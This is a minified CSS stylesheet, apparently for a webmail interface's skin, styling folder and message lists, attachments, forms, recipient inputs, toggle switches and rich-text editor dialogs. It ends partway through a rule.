.unreadcount{position:absolute;top:0;right:0;min-width:2em;line-height:1.4rem;margin:7.7px;padding:0 .3em;border-radius:.4em;background:#37beff;color:#fff;text-align:center;font-weight:700}html.touch .folderlist li.mailbox .unreadcount{line-height:2rem;margin:9.5px}.folderlist li.mailbox.recent>a{color:#008cd0}.folderlist li.mailbox.recent>a>.unreadcount{background:#37beff;color:#fff}.folderlist li.mailbox.root{display:none!important}.folderlist li a:before{content:"\f07b";font-weight:400;margin-right:.5rem}.folderlist li.inbox>a:before{content:"\f01c";font-weight:900}.folderlist li.trash a:before{content:"\f2ed";font-weight:900}.folderlist li.trash.empty>a:before{content:"\f2ed";font-weight:400}.folderlist li.drafts a:before{content:"\f303";font-weight:900}.folderlist li.sent a:before{content:"\f1d8";font-weight:900}.folderlist li.junk a:before{content:"\f7e4";font-weight:900}.folderlist li.archive>a:before{content:"\f187";font-weight:900}.folderlist li.ns-shared>a:before{content:"\f1e0";font-weight:900}.folderlist li.ns-other>a:before{content:"\f500";font-weight:900}.folderlist.menu a:before{margin-left:.5em}.messagelist .branch,.messagelist>thead,table.fixedcopy{display:none}.messagelist td{border-left:0;width:2em;vertical-align:top;font-size:1rem!important}.messagelist td.subject{width:100%;padding-right:0;display:flex;flex-wrap:wrap}.messagelist td.subject a{text-decoration:none;cursor:default}.messagelist td.subject span{line-height:2em}.messagelist td.subject span.date,.messagelist td.subject span.size{font-size:90%;color:#737677}.messagelist td.subject span.fromto{overflow:hidden;text-overflow:ellipsis;flex:1;font-size:90%;color:#737677;padding-left:1.5em;padding-right:.5rem}.messagelist td.subject span.subject{overflow:hidden;text-overflow:ellipsis;width:100%;user-select:none}.messagelist td.threads{padding:0 0 0 .25rem;width:1.5em}.messagelist td.flags{width:2.5em}.messagelist td.flags>span{height:1.7em;line-height:1.7em;display:block}.messagelist td.flags>span.flag{cursor:pointer}.messagelist tr.flagged td,.messagelist tr.flagged td.subject span.date,.messagelist tr.flagged td.subject span.fromto,.messagelist tr.flagged td.subject span.subject a{color:#ff5552}.messagelist tr.deleted td,.messagelist tr.deleted td.subject span.date,.messagelist tr.deleted td.subject span.fromto,.messagelist tr.deleted td.subject span.subject a{color:rgba(44,54,58,.5)}.messagelist tr.unread td.subject span.subject{font-weight:700}.messagelist tr.unroot td.subject a{text-decoration:underline}.messagelist tr.thread td.threads div:before{content:"\f105";cursor:pointer;width:1em}.messagelist tr.thread.expanded td.threads div:before{content:"\f107"}.messagelist td.subject span.msgicon.status:before{content:"\f111";cursor:pointer;font-size:.4rem;width:1.1rem;height:2rem}.messagelist td.subject span.msgicon.status.unread:before{content:"\f111";color:#ffd452;font-size:.5rem}.messagelist td.subject span.msgicon.status.unreadchildren:before{content:"\f111";font-weight:400;font-size:.5rem}.messagelist td.subject span.msgicon.status.replied:before{content:"\f3e5";font-weight:900;font-size:1rem}.messagelist td.subject span.msgicon.status.forwarded:before{content:"\f064";font-weight:900;font-size:1rem}.messagelist td.subject span.msgicon.status.replied.forwarded:before{content:"\f3e5";font-weight:900;font-size:1rem}.messagelist td.subject span.msgicon.status.replied.forwarded:after{content:"\f064";font-weight:900;font-size:1rem;opacity:.5;margin:0 -.1em 0 -1.25em}.messagelist tr.deleted td.subject span.msgicon.status:before{content:"\f05e"!important;font-weight:900!important;font-size:1rem}.messagelist tr.deleted td.subject span.msgicon.status:after{display:none!important}.messagelist span.attachment span{color:rgba(115,118,119,.75)}.messagelist span.attachment span:before{margin:0;content:"\f0c6"}.messagelist span.attachment span.report:before{content:"\f15c";font-weight:400}.messagelist span.attachment span.encrypted:before{content:"\f023"}.messagelist span.attachment span.vcard:before{content:"\f007";font-weight:400}.messagelist span.flagged:before{content:"\f024"}.messagelist tr.flaggedroot:not(:hover) span.unflagged:before{content:"\f024";color:rgba(115,118,119,.75)}.messagelist tr:hover span.unflagged:before{content:"\f024";font-weight:400}.messagelist span.size,.messagelist tr:hover span.date{display:none}.messagelist tr:hover span.size{display:inline}.messagelist.sort-size span.date{display:none}.messagelist.sort-size span.size,.messagelist.sort-size tr:hover span.date{display:inline}.messagelist.sort-size tr:hover span.size{display:none}html.layout-phone .messagelist tr,html.touch .messagelist tr{position:relative;display:flex}html.layout-phone .messagelist td.selection,html.layout-phone .messagelist td.threads,html.touch .messagelist td.selection,html.touch .messagelist td.threads{line-height:3.8em}html.layout-phone .messagelist td.flags,html.touch .messagelist td.flags{position:absolute;top:.25rem;right:0;bottom:0;background-color:transparent}html.layout-phone .messagelist td.flags .flag,html.touch .messagelist td.flags .flag{visibility:hidden}html.layout-phone .messagelist td.subject,html.touch .messagelist td.subject{padding-right:.5em}html.layout-phone .messagelist td.subject .subject,html.touch .messagelist td.subject .subject{padding-right:1.5rem}.contactlist .contact.readonly td{font-style:italic}.contactlist td.contact:before{content:"\f007"}.contactlist td.contactgroup:before{content:"\f0c0"}.contactlist span.email{display:inline;color:#737677;font-style:italic;margin-left:.5em}.contactlist li a:before{margin-right:.5rem}.contactlist li a.addressbook::before{content:"\f2b9";font-weight:400}.contactlist li a.contactgroup::before{content:"\f0c0";font-weight:900}.attachmentslist{padding:0;margin:0;background-color:#fcfcfc;border:1px solid #f4f4f4}.attachmentslist:empty{padding:0;border:0}.attachmentslist li{list-style:none;display:inline-flex;white-space:nowrap;line-height:2rem;padding:0 .25em;max-width:100%}.attachmentslist li:before{content:"\f15b";font-weight:400;height:2rem;margin:0}.attachmentslist li.text:before,.attachmentslist li.txt:before{content:"\f15c";font-weight:400}.attachmentslist li.pdf:before{content:"\f1c1";font-weight:400}.attachmentslist li.doc:before,.attachmentslist li.docx:before,.attachmentslist li.msword:before,.attachmentslist li.odt:before{content:"\f1c2";font-weight:400}.attachmentslist li.msexcel:before,.attachmentslist li.ods:before,.attachmentslist li.xls:before,.attachmentslist li.xlsx:before{content:"\f1c3";font-weight:400}.attachmentslist li.gz:before,.attachmentslist li.rar:before,.attachmentslist li.zip:before{content:"\f1c6";font-weight:400}.attachmentslist li.image:before,.attachmentslist li.jpeg:before,.attachmentslist li.jpg:before,.attachmentslist li.png:before{content:"\f1c5";font-weight:400}.attachmentslist li.audio:before,.attachmentslist li.mp3:before{content:"\f1c7";font-weight:400}.attachmentslist li.m4p:before,.attachmentslist li.video:before{content:"\f1c8";font-weight:400}.attachmentslist li.vcard:before{content:"\f2bb";font-weight:400}.attachmentslist li.html:before{content:"\f1c9";font-weight:400}.attachmentslist li.odp:before,.attachmentslist li.otp:before,.attachmentslist li.ppsx:before,.attachmentslist li.ppt:before,.attachmentslist li.pptx:before,.attachmentslist li.vnd.mspowerpoint:before{content:"\f1c4";font-weight:400}.attachmentslist li a{text-decoration:none;line-height:2rem;height:2rem}.attachmentslist li a.cancelupload:before,.attachmentslist li a.delete:before{content:"\f2ed";line-height:2rem;height:2rem;margin:0}.attachmentslist li a.dropdown:before{margin:0}.attachmentslist li.uploading:before{-webkit-animation:spinner-border 1.5s infinite linear;animation:spinner-border 1.5s infinite linear;content:"\f1ce";font-weight:900}.attachmentslist li a.filename{display:flex;overflow:hidden;padding:0 .2em}.attachmentslist li .attachment-name{overflow:hidden;text-overflow:ellipsis;color:#2c363a}.attachmentslist li .attachment-size{color:#737677;padding-left:.25em}.keylist{padding:0;list-style:none}.keylist li{line-height:2}.keylist li:before{content:"\f084";line-height:1.5}#identities-table td.mail:before{content:"\f2c2"}#responses-table td.name:before{content:"\f075"}#filterslist td.name:before{content:"\f0b0"}#filtersetslist td.name:before{content:"\f15c"}#subscription-table li.mailbox a{padding-right:2.5rem}#uploadform{display:none}form.smart-upload,input.smart-upload{visibility:hidden;width:1px;height:1px;opacity:0}.propform:not(.popupmenu){width:100%}.propform .form-check td:not(.title)>label{display:block;margin:0;line-height:2rem}.propform .form-check td:not(.title)>label label,.propform td.datetime input:first-child{margin-right:.5rem}.propform td.datetime{display:flex}.propform td.datetime input:last-child{width:75%}.propform td.rowbuttons{width:1%;white-space:nowrap;vertical-align:top}.propform td.rowbuttons span{display:none}.propform td.rowbuttons a{padding:0;line-height:2.3rem;height:2.3rem;font-size:1rem}.propform td.rowbuttons a:before{content:"\f067";vertical-align:unset}@media screen and (min-width:577px){.propform td.rowbuttons a:before{margin:0!important}}.propform td.rowbuttons a.delete:before{content:"\f2ed"}.propform td.rowbuttons a.advanced:before{content:"\f013"}.propform td.rowbuttons a:not(:last-child){margin-right:.25rem}.propform td.rowactions{width:1%;vertical-align:top}.propform td.rowactions .form-control{width:auto}.propform td.rowtargets{vertical-align:top}.propform td.rowtargets .composite .input-group,.propform td.rowtargets .composite .multi-input,.propform td.rowtargets .composite input,.propform td.rowtargets .composite select,.propform td.rowtargets .composite textarea{margin-bottom:.5rem}.propform td.rowtargets .composite .input-group .multi-input,.propform td.rowtargets .composite .input-group input,.propform td.rowtargets .composite .input-group select,.propform td.rowtargets .composite .input-group textarea{margin-bottom:0}.propform td.rowtargets .composite br{display:block}.propform td.rowtargets .input-group{margin-bottom:.25rem}.propform td.rowtargets .input-group :first-child.input-group-prepend{text-align:left;min-width:7.5em}.propform td.rowtargets .input-group :first-child.input-group-prepend>*{width:100%}.propform td.rowtargets>.advanced{margin-top:.25rem}.propform td.title{padding-top:0;padding-bottom:0}.propform td>.flexbox{display:flex}.propform td>.flexbox>.multi-input{width:100%;margin-left:.25rem}.propform.grouped.readonly legend{margin:0}.propform.grouped.readonly .row.input-group{margin-bottom:0!important}.propform.grouped.readonly label{min-width:7rem;background-color:transparent;border:0;border-radius:0}.propform.grouped .row.input-group{margin-bottom:.5rem;flex-wrap:nowrap}.propform.grouped .row.input-group>:first-child{overflow:hidden;text-overflow:ellipsis;min-width:8rem}.propform.grouped .row.input-group>:first-child:not(select){padding:0}@media screen and (max-width:480px){.propform.grouped .row.input-group>:first-child{min-width:6rem;width:6rem;flex-grow:unset}}.propform.grouped .row.input-group .content .ff_street,.propform.grouped .row.input-group>:first-child label{width:100%}.propform.grouped .row.input-group>:nth-child(2){flex-grow:30}.propform.grouped .row.input-group:last-child{margin-bottom:1rem}.propform.grouped .row.input-group select{text-align:left}.propform.grouped .row.input-group.composite select{height:auto}.propform.grouped .row.input-group .content{padding:0;display:flex;flex-wrap:wrap;border-radius:0;border-left-color:transparent}.propform.grouped .row.input-group .content input{border-radius:0;border-color:transparent}.propform.grouped .row.input-group .content .ff_locality{width:75%}.propform.grouped .row.input-group .content .ff_zipcode{width:25%}.propform.grouped .row.input-group .content .ff_country,.propform.grouped .row.input-group .content .ff_region{width:50%}.propform.grouped .form-control-plaintext{flex-grow:1;border:0}.propform .addfield{margin:0}.propform .addfield select{width:8rem;margin-top:.5rem}.propform .form-text{font-size:90%;color:#737677}.propform.row.form-group{margin-left:0;margin-right:0}.propform.row.form-group div,.propform.row.form-group label{padding-left:0;padding-right:0}.propform select+.input-group,.propform select+select{padding-top:.5rem}.propform.text-only{margin-bottom:.25rem}.propform.text-only tr{margin:0}.propform.text-only label{padding-bottom:0!important}@media screen and (max-width:576px){.propform.text-only tr{display:table-row}.propform.text-only td{width:auto}.propform.text-only :not(tr).form-group.row .col-form-label,.propform.text-only td:first-child{width:33%}.propform.text-only :not(tr).form-group.row>:last-child{width:67%}.propform table.compact-table .flexbox>select,.propform table.compact-table .rowactions>select{width:100%}.propform table.compact-table tr{display:flex;flex-direction:column}.propform table.compact-table tr td{width:100%;padding:.25rem 0 0}.propform table.compact-table tr td.rowbuttons{text-align:right;padding-top:0}.propform table.compact-table tr td.rowbuttons a{margin-left:.5rem}.propform table.compact-table tr td.rowbuttons a>span{display:inline}}.formcontent fieldset:not(.tab-pane):nth-of-type(n+2),.propform fieldset:not(.tab-pane):nth-of-type(n+2){margin-top:1em}.formcontent legend,.propform legend{font-weight:700;font-size:1.2em}.formcontent label,.propform label{-webkit-hyphens:auto;-ms-hyphens:auto;hyphens:auto;overflow:hidden;margin-bottom:0}fieldset.advanced>legend{width:auto;cursor:pointer}fieldset.advanced>legend:after{float:right;margin:0 0 0 .25rem;line-height:inherit;font-size:inherit;content:"\f106"}fieldset.advanced>legend.closed:after{content:"\f107"}@media screen and (max-width:576px){.formcontent .text-only .form-group:not(tr){margin-bottom:.25rem}.formcontent .text-only .form-group:not(tr) .col-form-label{width:33%}.formcontent .text-only .form-group:not(tr) .col-form-label+span{width:67%}html.iframe .formcontent>.propform{padding:.25rem}}html.ms .propform .row:not(.form-check)>td{display:flex;flex-wrap:wrap}@media screen and (min-width:576px){html.ms .propform .row.form-check>td{display:flex}}.formcontainer{display:flex;flex-direction:column;justify-content:flex-start;overflow-y:hidden!important}.formcontainer .formcontent{overflow-x:hidden;overflow-y:auto}.formcontainer .formbuttons{padding:.5rem 1rem}.formcontainer .formbuttons button{margin-right:.5rem}html.iframe.ipad .formcontainer .formbuttons,html.iframe.webkit.tablet .formcontainer .formbuttons{min-height:4rem}html.layout-phone .formcontainer,html.layout-small .formcontainer{display:initial;overflow-y:auto!important}html.layout-phone .formcontainer .formcontent,html.layout-small .formcontainer .formcontent{overflow:initial!important}html.layout-phone .formcontainer .formbuttons,html.layout-small .formcontainer .formbuttons{display:none}.formcontent .row{margin-right:0;margin-left:0}.formcontent .row .col,.formcontent .row .col-10,.formcontent .row .col-12,.formcontent .row .col-2,.formcontent .row .col-4,.formcontent .row .col-6,.formcontent .row .col-8,.formcontent .row .col-sm,.formcontent .row .col-sm-10,.formcontent .row .col-sm-12,.formcontent .row .col-sm-2,.formcontent .row .col-sm-4,.formcontent .row .col-sm-6,.formcontent .row .col-sm-8{padding:0}.formcontent .row .form-control-plaintext,.formcontent .row label.col-form-label{padding:5px 5px 5px 0}.formcontent .row .form-control-plaintext{padding-bottom:0;border:0}.formcontent .row.form-check{padding:0;display:flex;flex-wrap:nowrap}.formcontent .nav-tabs:empty,.input-group .icon .inner{display:none}@media screen and (max-width:576px){.formcontent .row.form-group>td label{padding-bottom:0}.formcontent .row.form-check .col-6{max-width:100%;flex:auto}.formcontent .row.form-check>:last-child{width:1%;min-width:2.6rem}.formcontent .row.form-check.with-link>:last-child{min-width:8rem}}.formcontent .row.form-check .form-check-input{margin:.5rem 0}.formcontent .row.form-check .custom-switch+a{line-height:2;vertical-align:bottom}.formcontent .row.form-check td>label{padding-bottom:0}.formcontent .nav-tabs{margin-bottom:1rem}.formcontent .hint{font-style:italic;color:#737677}.formcontent.raweditor,.formcontent.raweditor form{height:100%}.formcontent.raweditor textarea{font-family:monospace;height:100%}.formcontent.raweditor .CodeMirror{border:1px solid #ced4da;border-radius:.3rem;height:100%;color:#2c363a}.formcontent.raweditor .CodeMirror-focused{border-color:#37beff;box-shadow:0 0 0 .2rem rgba(55,190,255,.25)}.formcontent.raweditor .CodeMirror-linebackground.line-error{background-color:#ff5552;opacity:.4}.formcontent.raweditor .errorGutter{width:.8em}@media screen and (max-width:320px){.formcontent .col-10,.formcontent .col-6,.formcontent .col-8,.formcontent .col-form-label{flex:auto;max-width:100%}}.input-group .icon{text-decoration:none;padding:5px .5rem}.input-group .icon.input-group-text{min-width:2.4rem}.input-group .icon:before{margin:0!important;line-height:1;font-size:1.1rem}.input-group .icon.user:before{content:"\f007"}.input-group .icon.pass:before{content:"\f023"}.input-group .icon.host:before{content:"\f015"}.input-group .icon.language:before{content:"\f0ac"}.input-group .icon.cancel:before{content:"\f00d"}.input-group .icon.delete:before{content:"\f2ed"}.input-group .icon.edit:before{content:"\f303"}.input-group .icon.add:before{content:"\f067"}.input-group .icon.add.recipient:before{content:"\f0c0"}.input-group .icon.search:before{content:"\f002"}.input-group .icon.filter:before{content:"\f0b0"}.input-group .icon.key:before{content:"\f084"}.input-group a:focus{background-color:rgba(55,190,255,.25);outline:0}.proplist{margin-bottom:0;padding:0}.proplist li{list-style-type:none;line-height:2rem;margin-bottom:.25rem;display:flex;align-items:center}.proplist li:last-child{margin-bottom:0}.proplist li input[type=radio]{margin-right:.5em}.proplist li input[type=radio]:disabled+label{opacity:.5}.proplist li label:not(.input-group-text){margin:0;line-height:2rem}.proplist li select{width:auto;display:inline}.proplist li.with-sublist{flex-wrap:wrap;position:relative}.proplist li.with-sublist>:first-child{width:100%;margin-right:2em}.proplist li.with-sublist>.proplist{margin-left:2.5rem}.proplist li.with-sublist>a.dropdown{position:absolute;right:0;top:0;height:2em;color:#2c363a}.checklist>div{line-height:2rem;display:block}.checklist .custom-control-label:after,.checklist .custom-control-label:before{margin:calc(2px * -1) 0 0}.checklist>div+br{display:none}.popup form.propform{padding:.25rem;overflow-x:hidden}.popupmenu.form.nolist{padding:0 .5rem}.popupmenu.form ul{list-style-type:none;padding:0;margin:0}.popupmenu.form li:not(.separator){padding:0 1rem}.popupmenu.form li:not(.separator) label{margin:0;line-height:35px}.popupmenu.form li:not(.separator) label input{margin-right:.5rem}.popupmenu.form input{vertical-align:middle}.popupmenu.form select{margin:.5rem 0}.popupmenu.form .buttons{text-align:center;padding:.5rem}.multi-input>.content{max-height:11.65em;overflow:hidden;overflow-y:auto;border-radius:.25rem;border:1px solid #ced4da}.multi-input>.content.focused{border-color:#37beff;box-shadow:0 0 0 .2rem rgba(55,190,255,.25)}.multi-input a.icon.reset:before{content:"\f2ed"}.multi-input input.form-control{padding-left:.75rem;height:auto}.multi-input .input-group-text,.multi-input input,.multi-input input:focus{border-radius:0;border:0;border-bottom:1px solid #ced4da;box-shadow:none}.multi-input .input-group-text{border-left:1px solid #ced4da}.multi-input .input-group-append{margin-left:0}.multi-input .input-group{margin:0!important;flex-wrap:nowrap}.multi-input .input-group:last-child *{border-bottom:0}.multi-input+.btn{margin-top:.5rem}.multi-input.is-invalid>.content{border:1px solid #ff5552}.multi-input.is-invalid>.content.focused{border-color:#ff5552;box-shadow:0 0 0 .2rem rgba(255,85,82,.25)}.multi-input.is-invalid>.invalid-feedback{display:inline-block;line-height:1.5}.file-upload{padding:1rem 1rem 12rem;margin:0 1rem .25rem;border-radius:.5rem;border:.2rem dashed #d4dbde}fieldset .file-upload{margin:0}.file-upload .upload-form{text-align:center;padding-bottom:1em}.file-upload .upload-form a.btn,.file-upload .upload-form button{margin-bottom:.25rem}.file-upload .hint,.form-group{margin-bottom:.5rem}.file-upload .hint{color:#737677;text-align:center}.file-upload .attachmentslist{border:0;background:0 0}.file-upload .attachmentslist li{position:relative;display:flex;padding-right:1.5em;margin:.15em 0}.file-upload .attachmentslist li a.filename{flex:1}.file-upload .attachmentslist li a.cancelupload,.file-upload .attachmentslist li a.delete{position:absolute;right:.25em;width:auto}.file-upload .attachmentslist li a.dropdown{margin-right:.5em}.file-upload .attachmentslist li .inner{display:none}.file-upload.droptarget{padding-bottom:.5rem!important}.file-upload.droptarget:after{content:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%20960%20560%22%3E%0A%3Cpath%20fill%3D%22%23d4dbde%22%20d%3D%22M690%20245c0%209.2-3.5%2017.9-10.1%2024.9l-175%20175c-6.6%206.6-15.3%2010.1-24.9%2010.1-9.2%200-18.4-3.5-24.9-10.1l-175-175c-6.6-7-10.1-15.8-10.1-24.9%200-4.4.9-9.2%202.6-13.6C277.9%20218.3%20291%20210%20305%20210h87.5V35c0-19.2%2015.8-35%2035-35h105c19.2%200%2035%2015.8%2035%2035v175H655c14%200%2027.1%208.3%2032.4%2021.4%201.7%204.4%202.6%209.2%202.6%2013.6zm0%20245H270V350h-70v140c0%2038.5%2031.5%2070%2070%2070h420c38.5%200%2070-31.5%2070-70V350h-70v140z%22%2F%3E%0A%3C%2Fsvg%3E%0A");width:10rem;margin:5rem auto 0;display:block}.file-upload.droptarget.active{border-color:#b9b9b9}.file-upload.droptarget.hover{border-color:#b9b9b9;background-color:#ececec}.recipient-input{display:flex;flex-wrap:wrap;padding:0 .75rem 4px;list-style-type:none;cursor:text;height:auto}.recipient-input.focus{border-color:#37beff;box-shadow:0 0 0 .2rem rgba(55,190,255,.25)}.recipient-input li{max-width:100%}.recipient-input li:not(.recipient){user-select:text}.recipient-input li.input{flex:1;min-width:100px}.recipient-input input{width:100%;background:0 0!important;border:0!important;margin-top:4px;outline:0;line-height:1.5}.recipient-input input::-ms-clear{display:none}.recipient-input li.recipient,body>li.recipient.ui-sortable-helper{display:flex;position:relative;max-width:calc(50% - 3px);border:1px solid #ced4da;background-color:#f1f3f4;border-radius:.25rem;padding:0 .25rem;margin-top:4px;margin-right:.2em;white-space:nowrap;cursor:default}.form-control:focus,.tagedit-list[tabindex="-1"]{border-color:#37beff;box-shadow:0 0 0 .2rem rgba(55,190,255,.25)}@media screen and (max-width:450px){.recipient-input li.recipient,body>li.recipient.ui-sortable-helper{width:100%;max-width:100%}}.recipient-input li.recipient .name,body>li.recipient.ui-sortable-helper .name{overflow:hidden;text-overflow:ellipsis;flex-grow:1;line-height:1.1;padding:3px;vertical-align:middle}.recipient-input li.recipient .email,body>li.recipient.ui-sortable-helper .email{text-indent:-5000rem;display:inline-block;width:0}.recipient-input li.recipient .quotes,body>li.recipient.ui-sortable-helper .quotes{position:absolute;width:0;opacity:0}.recipient-input li.recipient a.button.icon,body>li.recipient.ui-sortable-helper a.button.icon{font-size:.75em;cursor:pointer;padding:0;color:#2c363a}.recipient-input li.recipient a.button.icon:before,body>li.recipient.ui-sortable-helper a.button.icon:before{display:inline-block;width:1em;line-height:1.6}.recipient-input li.recipient.ui-sortable-helper,body>li.recipient.ui-sortable-helper.ui-sortable-helper{padding:0 0 0 .25rem!important}.tagedit-list{display:flex;flex-wrap:wrap;padding:0 .75rem 4px;margin:0;list-style-type:none;min-height:2.3rem}.tagedit-list+.placeholder{display:none}.tagedit-list li.tagedit-listelement-new{margin-top:4px}.tagedit-list li.tagedit-listelement-new input{width:15px;background:0 0!important;border:0;outline:0;margin:0;padding:0;line-height:1.5}.tagedit-list li.tagedit-listelement-new input.tagedit-input-disabled{visibility:hidden}.tagedit-list li.tagedit-listelement-old{max-width:50%;border:1px solid #ced4da;background-color:#f1f3f4;border-radius:.25em;margin-top:4px;margin-right:.2em;white-space:nowrap}.tagedit-list li.tagedit-listelement-old a{font-size:.8em;cursor:pointer;display:inline-block;width:1.1em;overflow:hidden;vertical-align:middle;margin-right:.2rem}.tagedit-list li.tagedit-listelement-old a:before{content:"\f00d";width:1em;line-height:1.2}.tagedit-list li.tagedit-listelement-old span{overflow:hidden;text-overflow:ellipsis;flex-grow:1;display:inline-block;line-height:1.4;padding:0 .25rem;vertical-align:middle}.skinselection{white-space:nowrap;display:table-row}.skinselection>span{display:table-cell;vertical-align:middle;padding:.1em .5em;white-space:normal}.skinselection>span:last-child{padding-right:0}.skinselection .skinitem input{width:auto}.skinselection .skinname{font-weight:700}.skinselection .skinlicense,.skinselection .skinlicense a{font-style:italic;text-decoration:none}.skinselection .skinlicense a:hover{text-decoration:underline}.skinselection .skinauthor,.skinselection .skinlicense{font-size:90%}.skinselection .skinthumbnail{width:64px;height:64px;border:1px solid #ced4da;background:#fff;border-radius:4px}.input-percent-slider{display:flex;align-items:center}.input-percent-slider input{max-width:4em}.input-percent-slider span.label{line-height:2.4;padding:0 .5rem 0 .25rem}.input-percent-slider div.ui-slider{flex:1;margin:0 .5em}.image-upload{position:relative;overflow:hidden;cursor:pointer;background-color:#f4f4f4}.image-upload a.button{display:none;position:absolute;left:0;top:0;background-color:rgba(255,255,255,.85);border-radius:5px;width:2.5em;padding:.5em;margin:.5em;line-height:1}.image-upload.changed a.button{display:inline}.input-group-combo select:first-of-type.alone{border-radius:.25rem!important}.input-group-combo select:first-of-type:not(.alone){flex:unset;width:auto}.input-group-combo .input-group{padding:0!important;flex:2}.input-group-combo .input-group :first-child,.input-group-combo select+select{border-top-left-radius:0;border-bottom-left-radius:0}@-moz-document url-prefix(){select:-moz-focusring{color:transparent!important;text-shadow:0 0 0 #2c363a!important}}.form-control,.form-control:focus{color:#2c363a}.form-control.is-invalid{border-color:#ff5552;box-shadow:none}.form-control.is-invalid:focus{border-color:#ff5552;box-shadow:0 0 0 .2rem rgba(255,85,82,.25)}.custom-file-input:focus~.custom-file-label,.custom-switch .custom-control-input:focus~.custom-control-label:before{box-shadow:0 0 0 .2rem rgba(55,190,255,.25)}.form-control::placeholder{color:#bbb}.form-control::-ms-input-placeholder,.form-control::-webkit-input-placeholder{color:#bbb}.invalid-feedback{color:#ff5552;font-size:90%}.input-group-append.input-group-prepend{display:inline}.input-group-text{color:#2c363a;background-color:#f1f3f4}.input-group-text input:focus{z-index:1;border-color:#37beff!important}.custom-switch{padding-left:0;display:inline-block}.custom-switch .custom-control-input{left:0;opacity:0!important}.custom-switch .custom-control-input:focus:not(:checked)~.custom-control-label::before{border-color:#37beff}.custom-switch .custom-control-input:checked~.custom-control-label::before{border-color:#37beff;background-color:#37beff}.custom-switch .custom-control-input:checked:disabled~.custom-control-label::before{border-color:#84d7ff;background-color:#84d7ff}.custom-switch .custom-control-label{padding-left:2.5rem;min-height:2rem;line-height:2;display:inline-block}html.touch .custom-switch .custom-control-label{padding-left:3rem}.custom-switch .custom-control-label:after,.custom-switch .custom-control-label:before{border-radius:.6rem;margin:2px 0}html.touch .custom-switch .custom-control-label:after,html.touch .custom-switch .custom-control-label:before{border-radius:.8rem;margin:0}.custom-switch .custom-control-label:before{left:2px;top:4px;width:26px;height:16px}html.touch .custom-switch .custom-control-label:before{top:2px;width:35px;height:22px}.custom-switch .custom-control-label:after{left:4px;top:6px;width:12px;height:12px}html.touch .custom-switch .custom-control-label:after{top:4px;height:18px;width:18px}.custom-switch .custom-control-input:checked~.custom-control-label::after{transform:translateX(10px)}html.touch .custom-switch .custom-control-input:checked~.custom-control-label::after{transform:translateX(13px)}.custom-switch .custom-control-input:not(:disabled)~.custom-control-label:after,.custom-switch .custom-control-input:not(:disabled)~.custom-control-label:before{cursor:pointer}.custom-file{display:block}div.tox .custom-switch .tox-checkbox__icons,div.tox .tox-dialog__header .tox-button .tox-icon{display:none}.custom-file .custom-file-label{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;padding-right:100px}.custom-file+.hint{margin-top:3px}.custom-file-input:focus~.custom-file-label{border-color:#37beff}div.tox{font-size:1rem}div.tox.tox-tinymce{border-radius:.25rem;border:1px solid #ced4da}div.tox.focused{border-color:#37beff!important;box-shadow:0 0 0 .2rem rgba(55,190,255,.25)!important}div.tox .tox-toolbar-overlord{z-index:1}div.tox .tox-toolbar-overlord>div{background:url("data:image/svg+xml;charset=utf8,%3Csvg height='33px' viewBox='0 0 40 33px' width='40' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0' y='32px' width='100' height='1' fill='%23cccccc'/%3E%3C/svg%3E") #f1f3f4}div.tox .tox-toolbar__primary{border-top:0}div.tox .tox-toolbar{background-color:#f1f3f4}div.tox .tox-edit-area{border:0}div.tox .tox-dialog{border-radius:0;border-color:#d4dbde;box-shadow:none;align-self:unset!important}div.tox .tox-dialog .tox-form__group{margin-top:0;margin-bottom:.75rem}div.tox .tox-dialog .tox-dialog__body-nav-item--active{color:#00acff;border-color:transparent}div.tox .tox-dialog .tox-dialog__body-nav-item--active:hover{color:#008acc}div.tox .tox-dialog__body-content{overflow:unset}div.tox .tox-dialog__content-js{overflow:auto}div.tox .tox-dialog-wrap__backdrop{background-color:rgba(44,54,58,.5)}div.tox .tox-dialog__header{height:57px;border-bottom:1px solid #ddd;justify-content:flex-end;padding:0}div.tox .tox-dialog__header .tox-button{color:#2c363a;right:0;height:57.3px;width:2.25em;margin-right:.4rem}div.tox .tox-dialog__header .tox-button:hover{background:0 0;border-color:transparent}div.tox .tox-dialog__header .tox-button:before{content:"\f00d";line-height:1.5rem;margin:0!important}div.tox .tox-dialog__footer{height:57px!important;border:0;margin:0;padding:0 1rem}@media screen and (max-width:480px){div.tox .tox-dialog__footer{border-top:1px solid #ddd}}div.tox .tox-dialog__footer>div{white-space:nowrap;max-height:57px}div.tox .tox-dialog__footer>div button:first-child{margin:0}div.tox .tox-dialog__footer .tox-button{color:#fff;background:#37beff;border-color:#37beff;font-weight:400;padding:.5rem .75rem}div.tox .tox-dialog__footer .tox-button:focus{background:#1eb6ff;border-color:#13b2ff;box-shadow:0 0 0 .2rem rgba(55,190,255,.5)}div.tox .tox-dialog__footer .tox-button:hover{background:#1eb6ff;border-color:#13b2ff}div.tox .tox-dialog__footer .tox-button.disabled,div.tox .tox-dialog__footer .tox-button:disabled{background:#37beff;border-color:#37beff}div.tox .tox-dialog__footer .tox-button:not(:disabled):not(.disabled).active,div.tox .tox-dialog__footer .tox-button:not(:disabled):not(.disabled):active{background:#04adff;border-color:#00a8f9}div.tox .tox-dialog__footer .tox-button:before{width:1em;content:"\f00c";line-height:1}div.tox .tox-dialog__footer .tox-button:focus:not(:disabled){background:#37beff;border-color:#37beff}div.tox .tox-dialog__footer .tox-button.tox-button--secondary{background:#8b9fa7;border-color:#8b9fa7;color:#fff}div.tox .tox-dialog__footer .tox-button.tox-button--secondary:focus{background:#7c939c;border-color:#778e98;box-shadow:0 0 0 .2rem rgba(139,159,167,.5)}div.tox .tox-dialog__footer .tox-button.tox-button--secondary:hover{background:#7c939c;border-color:#778e98}div.tox .tox-dialog__footer .tox-button.tox-button--secondary.disabled,div.tox .tox-dialog__footer .tox-button.tox-button--secondary:disabled{background:#8b9fa7;border-color:#8b9fa7}div.tox .tox-dialog__footer .tox-button.tox-button--secondary:not(:disabled):not(.disabled).active,div.tox .tox-dialog__footer .tox-button.tox-button--secondary:not(:disabled):not(.disabled):active{background:#6e8791;border-color:#6a828b}div.tox .tox-dialog__footer .tox-button.tox-button--secondary:not(:disabled):not(.disabled).active:focus,div.tox .tox-dialog__footer .tox-button.tox-button--secondary:not(:disabled):not(.disabled):active:focus{box-shadow:0 0 0 .2rem rgba(139,159,167,.53)}div.tox .tox-dialog__footer 